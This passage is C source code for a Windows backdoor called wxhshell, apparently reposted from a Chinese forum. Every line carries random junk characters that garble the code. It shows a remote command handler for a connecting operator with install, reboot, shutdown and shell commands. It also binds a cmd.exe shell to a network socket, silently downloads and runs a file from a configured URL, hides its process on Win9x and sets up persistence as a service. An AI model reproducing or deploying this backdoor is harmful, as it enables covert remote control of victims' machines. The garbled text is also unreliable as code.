      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i zJa`K  
    break; mh`~1aEr  
  } Eukj2 a  
  // 安装 0S8v41i6  
  case 'i': { ]la8MaZ<  
    if(Install()) J J@O5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A41*4!L=  
    else $g&,$7}O_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !G E-5\*  
    break; I;iJa@HWQ  
    } SrGX4  
  // 卸载 *olV Y/'O  
  case 'r': { gyi<ot;  
    if(Uninstall()) 1{@f:~v?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uywi,9f  
    else !K a!f1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iXt1{VP'K  
    break; q\wT[W31@  
    } t.wB\Kmt\  
  // 显示 wxhshell 所在路径 1L722I @  
  case 'p': { ph\KTLU  
    char svExeFile[MAX_PATH]; 0>hV?A  
    strcpy(svExeFile,"\n\r"); F FHk0!3  
      strcat(svExeFile,ExeFile); P,5gaT)  
        send(wsh,svExeFile,strlen(svExeFile),0); h+EG) <  
    break; dqwCyYC  
    } ZL[~[  
  // 重启 } LuPYCzpu  
  case 'b': { Pd-0u> k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W,&z:z>  
    if(Boot(REBOOT)) P.^%8L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UHr0J jQK  
    else { ;xF5P'T?|  
    closesocket(wsh); *m2{6N_  
    ExitThread(0); 9pAklD4  
    } r #H(kJu,  
    break; 5J!ncLNm{  
    } / J 3   
  // 关机 LASR*  
  case 'd': { 8W' ,T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9_yO 6)`  
    if(Boot(SHUTDOWN)) pw;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b0W~*s [4  
    else { )Los\6PRn  
    closesocket(wsh); r|!w,>.  
    ExitThread(0); 9MfBsp}c  
    } E?%SOU<  
    break; .xJW=G{/  
    } 951"0S`Lo  
  // 获取shell cRYnQ{$'  
  case 's': { CBaU$`5  
    CmdShell(wsh); Gvg)@VNr  
    closesocket(wsh); J9s4lsea  
    ExitThread(0); >y&Db  
    break; f-6hcd@Ca  
  } E`vCYhf{  
  // 退出 nNuv 0  
  case 'x': { Ay?;0w0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T}DP35dBzE  
    CloseIt(wsh); r9!jIkILz  
    break; E"LSM]^^<f  
    } uJ:'<dJ  
  // 离开 @C[]o.r  
  case 'q': { Y1 e>P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !uaV6K  
    closesocket(wsh); 6ww4ZH?j  
    WSACleanup(); k.Tu#7  
    exit(1);  P%#WeQ+  
    break; Yphru"\$  
        } 1rs`|iX5  
  } O'tVZ!C#J  
  } #i$/qk= N  
R7~H}>uaF  
  // 提示信息 E]G#"EV!Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?UD2}D[M  
} k-5Enbkr  
  } 0*?/s\>PS;  
EW;R^?Z  
  return; a.P7O!2Lp  
} }T<[JXh=J  
);4lM%]eb  
// shell模块句柄 r>v_NKS]t  
int CmdShell(SOCKET sock) eq^<5 f  
{ _TF\y@hF*D  
STARTUPINFO si; t;wfp>El  
ZeroMemory(&si,sizeof(si)); X\X* -.]{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gFk~SJd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `-)!4oJ]  
PROCESS_INFORMATION ProcessInfo; l=(4o4um  
char cmdline[]="cmd"; c%2C\UB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~ Iin|  
  return 0; J;Y=o B  
} K-D{Z7J^l  
Jjt'R`t%t  
// 自身启动模式 &,?bX])  
int StartFromService(void) f{ZOH<"Lo  
{ 4;G:.k!K  
typedef struct Pba 6Ay6B  
{ 4F_*,_Y  
  DWORD ExitStatus; /I[?TsXp  
  DWORD PebBaseAddress; g\sW2qXEw  
  DWORD AffinityMask; |&JCf =  
  DWORD BasePriority; 88fH !6b  
  ULONG UniqueProcessId; Az +}[t  
  ULONG InheritedFromUniqueProcessId; INca  
}   PROCESS_BASIC_INFORMATION; ;6op|O  
7^Y"K  
PROCNTQSIP NtQueryInformationProcess; 3+6s}u)  
pk&kJ307  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A?l.(qG C_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _g+^jR4  
2[WH8l+  
  HANDLE             hProcess; =nQ"ye  
  PROCESS_BASIC_INFORMATION pbi; }6#lE,\lM  
Z i-)PK^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >T*/[{L8;  
  if(NULL == hInst ) return 0; j=U [V&T  
Q;p?.GI?-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oqzx}?0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p4m9@ \gn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5GD6%{\O  
/P<K)a4GM  
  if (!NtQueryInformationProcess) return 0; Jb'l.xN  
ZA4NVt.yN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jq6BwUN  
  if(!hProcess) return 0; BMlnzi  
Lf+M +^l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; md`PRZzj@  
m.ib#Y)y  
  CloseHandle(hProcess); y%.^| G  
W5a)`%H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xf1@mi[a  
if(hProcess==NULL) return 0; rUC@Bf  
FI @!7@  
HMODULE hMod; YGy.39@31  
char procName[255]; 7P}&<;5zD  
unsigned long cbNeeded; * b+ef  
Kk?P89=*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ia.95H;  
63b?-.!b  
  CloseHandle(hProcess); vby[# S|  
%E q} H  
if(strstr(procName,"services")) return 1; // 以服务启动 c"X`OB  
^l\U6$3  
  return 0; // 注册表启动 &WW|! 6  
} '1?b?nVo  
cx?XJ)  
// 主模块 'gYUyl  
int StartWxhshell(LPSTR lpCmdLine) |2mm@):  
{ 3OUZR5_$  
  SOCKET wsl; rzC\8Dd  
BOOL val=TRUE; +bwSu)k  
  int port=0; ,DrE4")4  
  struct sockaddr_in door; C(i1Vx<-  
eil"1$k  
  if(wscfg.ws_autoins) Install(); 83,ATQg  
&Q7vY  
port=atoi(lpCmdLine); ?nOul}y/  
2/.E uf   
if(port<=0) port=wscfg.ws_port; n6T@A;_g  
iU^KmM I  
  WSADATA data; 6onFf* m!x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b/N+X}VMN  
'F[m,[T%x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mSSDV0Pfn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `TvpKS5.Y  
  door.sin_family = AF_INET; I$@0FSl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \$o5$/oU(  
  door.sin_port = htons(port); SH# -3&$[  
8r@_b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <uUHr,#  
closesocket(wsl); wfH#E2+pk  
return 1; 9pN},F91n:  
} `]L&2RS  
69)- )en  
  if(listen(wsl,2) == INVALID_SOCKET) { 8c-r;DE  
closesocket(wsl); 8^26g 3  
return 1; PPiN`GM  
} D/1{v  
  Wxhshell(wsl); 2y6 e]D  
  WSACleanup(); octBt`\Of  
Ba$&4?8  
return 0; ?LU]O\p  
xij`Mr  
} Zo}O,;(F5  
.W _'6Q+  
// 以NT服务方式启动 KiN8N=z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #.|ef dsG  
{ m22FOjk\  
DWORD   status = 0; FsI51@V72Q  
  DWORD   specificError = 0xfffffff; QkJAjmB  
fi*@m,-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nCF1i2*6|"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j2A Z.s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4+fWIY1 "  
  serviceStatus.dwWin32ExitCode     = 0; 9VyY [&  
  serviceStatus.dwServiceSpecificExitCode = 0; L;d(|7BVv  
  serviceStatus.dwCheckPoint       = 0; 5;{Q >n  
  serviceStatus.dwWaitHint       = 0; p^u;]~J O  
1"pvrX}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3 o=R_%r  
  if (hServiceStatusHandle==0) return; *3;H6   
9os>k*  
status = GetLastError(); !]1'?8  
  if (status!=NO_ERROR) 9$)I=Rpk =  
{ (~ 6oA f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !g=2U`j^  
    serviceStatus.dwCheckPoint       = 0; I<p- o/TP  
    serviceStatus.dwWaitHint       = 0; p*F.WxB)4  
    serviceStatus.dwWin32ExitCode     = status; DEj6 ky  
    serviceStatus.dwServiceSpecificExitCode = specificError; @LQe[`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !zc?o?~z  
    return; ~I'1\1  
  } < {1'cx  
d\% |!ix  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <Co\?h/<  
  serviceStatus.dwCheckPoint       = 0; 6M({T2e  
  serviceStatus.dwWaitHint       = 0; E0 ~\ A;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hfUN~89;  
} /DxaKZ ;b  
p:kHb@  
// 处理NT服务事件,比如:启动、停止 wjLtLtK?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Tw^b!74gq  
{ IGKF&s*;{[  
switch(fdwControl) 8_yhV{  
{ W dM?{; #  
case SERVICE_CONTROL_STOP: H{ Fww4pn  
  serviceStatus.dwWin32ExitCode = 0; 0$8iWL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Mi+<|5is  
  serviceStatus.dwCheckPoint   = 0; vwA d6Tm  
  serviceStatus.dwWaitHint     = 0; TGUlJLT  
  { S6~&g|T,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OsQB` D  
  } X@:[.eI~  
  return; E?,O>bCJ5  
case SERVICE_CONTROL_PAUSE: >93I|C|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X8l|^ [2F  
  break; Rn(6Fk?   
case SERVICE_CONTROL_CONTINUE: r$7zk<01  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1DzI@c~X  
  break; -M{.KqyW  
case SERVICE_CONTROL_INTERROGATE: mU d['Z  
  break; ?]1_ 2\M  
}; (e,5 b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <d&9`e1Hc  
} E'_3U5U  
/*v} .fH%  
// 标准应用程序主函数 ",9QqgY+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M`1pze_A  
{ t@hE}R  
B4 XN  
// 获取操作系统版本 ?H7YmN  
OsIsNt=GetOsVer(); G)|s(C!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?<3wks|C  
>m66j2(H*Z  
  // 从命令行安装 H Pvs~`>V  
  if(strpbrk(lpCmdLine,"iI")) Install(); y+R *<5qC<  
uH"W07  
  // 下载执行文件 YfB8  
if(wscfg.ws_downexe) { )21yD1"6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m]XG7:}V0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5 5$J% ;&  
} )HaW# ,XB  
J 'qhY'te  
if(!OsIsNt) { o3=2`BvJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 1MVzu7  
HideProc(); ^p@ #  
StartWxhshell(lpCmdLine); 8ux?K5_  
} xfAnZBsVo  
else tN-U,6c]  
  if(StartFromService()) VB(S]N)F^  
  // 以服务方式启动 7Pb: z4j  
  StartServiceCtrlDispatcher(DispatchTable); {Z~5#<t  
else gGdt&9z %  
  // 普通方式启动 /b ]Yya#  
  StartWxhshell(lpCmdLine); cN]e{|  
_s(izc  
return 0; k|kn#X3X  
}
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只看该作者 1 发表于: 2006-10-10
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